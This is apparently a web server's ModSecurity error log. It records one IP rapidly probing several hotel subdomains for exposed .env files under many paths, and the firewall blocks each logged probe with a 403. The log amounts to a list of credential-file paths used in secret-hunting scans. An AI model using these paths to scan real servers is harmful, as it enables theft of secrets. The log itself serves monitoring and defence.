[Tue Oct 27 01:43:46.830447 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auA6Esqawth2HP9RxtL-0wAAAAY"]
[Tue Oct 27 01:43:46.830615 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auA6Esqawth2HP9RxtL-0wAAAAY"]
[Tue Oct 27 01:43:46.830877 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auA6Esqawth2HP9RxtL-0wAAAAY"]
[Tue Oct 27 01:43:46.866658 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6EskbbDK06qDUYmCosQAAAAU"]
[Tue Oct 27 01:43:46.866908 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6EskbbDK06qDUYmCosQAAAAU"]
[Tue Oct 27 01:43:46.867204 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6EskbbDK06qDUYmCosQAAAAU"]
[Tue Oct 27 01:43:46.883162 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auA6Esqawth2HP9RxtL-1AAAAAY"]
[Tue Oct 27 01:43:46.883345 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auA6Esqawth2HP9RxtL-1AAAAAY"]
[Tue Oct 27 01:43:46.883598 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auA6Esqawth2HP9RxtL-1AAAAAY"]
[Tue Oct 27 01:43:46.886716 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auA6Eg67030o4-ZAUjLptgAAAAg"]
[Tue Oct 27 01:43:46.886950 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auA6Eg67030o4-ZAUjLptgAAAAg"]
[Tue Oct 27 01:43:46.887233 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auA6Eg67030o4-ZAUjLptgAAAAg"]
[Tue Oct 27 01:43:46.938464 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auA6Eg67030o4-ZAUjLptwAAAAg"]
[Tue Oct 27 01:43:46.938674 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auA6Eg67030o4-ZAUjLptwAAAAg"]
[Tue Oct 27 01:43:46.938942 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auA6Eg67030o4-ZAUjLptwAAAAg"]
[Tue Oct 27 01:43:46.939028 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auA6Eg67030o4-ZAUjLptwAAAAg"]
[Tue Oct 27 01:43:46.939044 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auA6Eg67030o4-ZAUjLptwAAAAg"]
[Tue Oct 27 01:43:46.947119 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles4.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auA6EktgBhmk9Q7hbpqXvwAAAAs"]
[Tue Oct 27 01:43:46.947147 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles4.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auA6EktgBhmk9Q7hbpqXvwAAAAs"]
[Tue Oct 27 01:43:46.978183 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6EskbbDK06qDUYmCosgAAAAU"]
[Tue Oct 27 01:43:46.978403 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6EskbbDK06qDUYmCosgAAAAU"]
[Tue Oct 27 01:43:46.978676 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6EskbbDK06qDUYmCosgAAAAU"]
[Tue Oct 27 01:43:47.014798 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auA6Ew67030o4-ZAUjLpuAAAAAg"]
[Tue Oct 27 01:43:47.015072 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auA6Ew67030o4-ZAUjLpuAAAAAg"]
[Tue Oct 27 01:43:47.015335 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auA6Ew67030o4-ZAUjLpuAAAAAg"]
[Tue Oct 27 01:43:47.036479 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auA6Ew67030o4-ZAUjLpuQAAAAg"]
[Tue Oct 27 01:43:47.036634 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auA6Ew67030o4-ZAUjLpuQAAAAg"]
[Tue Oct 27 01:43:47.036902 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auA6Ew67030o4-ZAUjLpuQAAAAg"]
[Tue Oct 27 01:43:47.059279 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6E8kbbDK06qDUYmCoswAAAAU"]
[Tue Oct 27 01:43:47.059436 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6E8kbbDK06qDUYmCoswAAAAU"]
[Tue Oct 27 01:43:47.059677 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6E8kbbDK06qDUYmCoswAAAAU"]
[Tue Oct 27 01:43:47.066197 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "auA6E8qawth2HP9RxtL-1QAAAAY"]
[Tue Oct 27 01:43:47.066341 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "auA6E8qawth2HP9RxtL-1QAAAAY"]
[Tue Oct 27 01:43:47.066548 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "auA6E8qawth2HP9RxtL-1QAAAAY"]
[Tue Oct 27 01:43:47.080569 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6E8kbbDK06qDUYmCotAAAAAU"]
[Tue Oct 27 01:43:47.080744 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6E8kbbDK06qDUYmCotAAAAAU"]
[Tue Oct 27 01:43:47.080984 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6E8kbbDK06qDUYmCotAAAAAU"]
[Tue Oct 27 01:43:47.084784 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6E0tgBhmk9Q7hbpqXwAAAAAs"]
[Tue Oct 27 01:43:47.084958 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6E0tgBhmk9Q7hbpqXwAAAAAs"]
[Tue Oct 27 01:43:47.085212 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6E0tgBhmk9Q7hbpqXwAAAAAs"]
[Tue Oct 27 01:43:47.098082 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auA6Ew67030o4-ZAUjLpugAAAAg"]
